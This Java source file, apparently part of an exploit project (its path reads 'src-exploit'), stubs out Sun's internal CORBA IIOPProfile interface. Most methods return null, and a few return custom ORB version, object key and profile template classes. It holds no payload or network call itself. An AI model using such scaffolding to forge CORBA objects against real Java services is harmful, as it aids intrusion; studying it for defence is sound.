twostage/src-exploit/x/MyIIOPProfile.java
package x;
import org.omg.CORBA_2_3.portable.OutputStream;
import org.omg.IOP.TaggedProfile;
import com.sun.corba.se.spi.ior.ObjectId;
import com.sun.corba.se.spi.ior.ObjectKey;
import com.sun.corba.se.spi.ior.ObjectKeyTemplate;
import com.sun.corba.se.spi.ior.TaggedProfileTemplate;
import com.sun.corba.se.spi.ior.iiop.GIOPVersion;
import com.sun.corba.se.spi.ior.iiop.IIOPProfile;
import com.sun.corba.se.spi.orb.ORBVersion;
public class MyIIOPProfile implements IIOPProfile {
@Override
public String getCodebase() {
return null;
}
@Override
public GIOPVersion getGIOPVersion() {
return null;
}
@Override
public ORBVersion getORBVersion() {
return new MyORBVersion();
}
@Override
public Object getServant() {
return null;
}
@Override
public TaggedProfile getIOPProfile() {
return null;
}
@Override
public ObjectId getObjectId() {
// TODO Auto-generated method stub
return null;
}
@Override
public ObjectKey getObjectKey() {
return new MyObjectKey();
}
@Override
public ObjectKeyTemplate getObjectKeyTemplate() {
// TODO Auto-generated method stub
return null;
}
@Override
public TaggedProfileTemplate getTaggedProfileTemplate() {
return new MyIIOPProfileTemplate();
}
@Override
public boolean isEquivalent(com.sun.corba.se.spi.ior.TaggedProfile prof) {
// TODO Auto-generated method stub
return false;
}
@Override
public boolean isLocal() {
// TODO Auto-generated method stub
return false;
}
@Override
public int getId() {
// TODO Auto-generated method stub
return 0;
}
@Override
public void write(OutputStream arg0) {
// TODO Auto-generated method stub
}
@Override
public void makeImmutable() {
// TODO Auto-generated method stub
}
}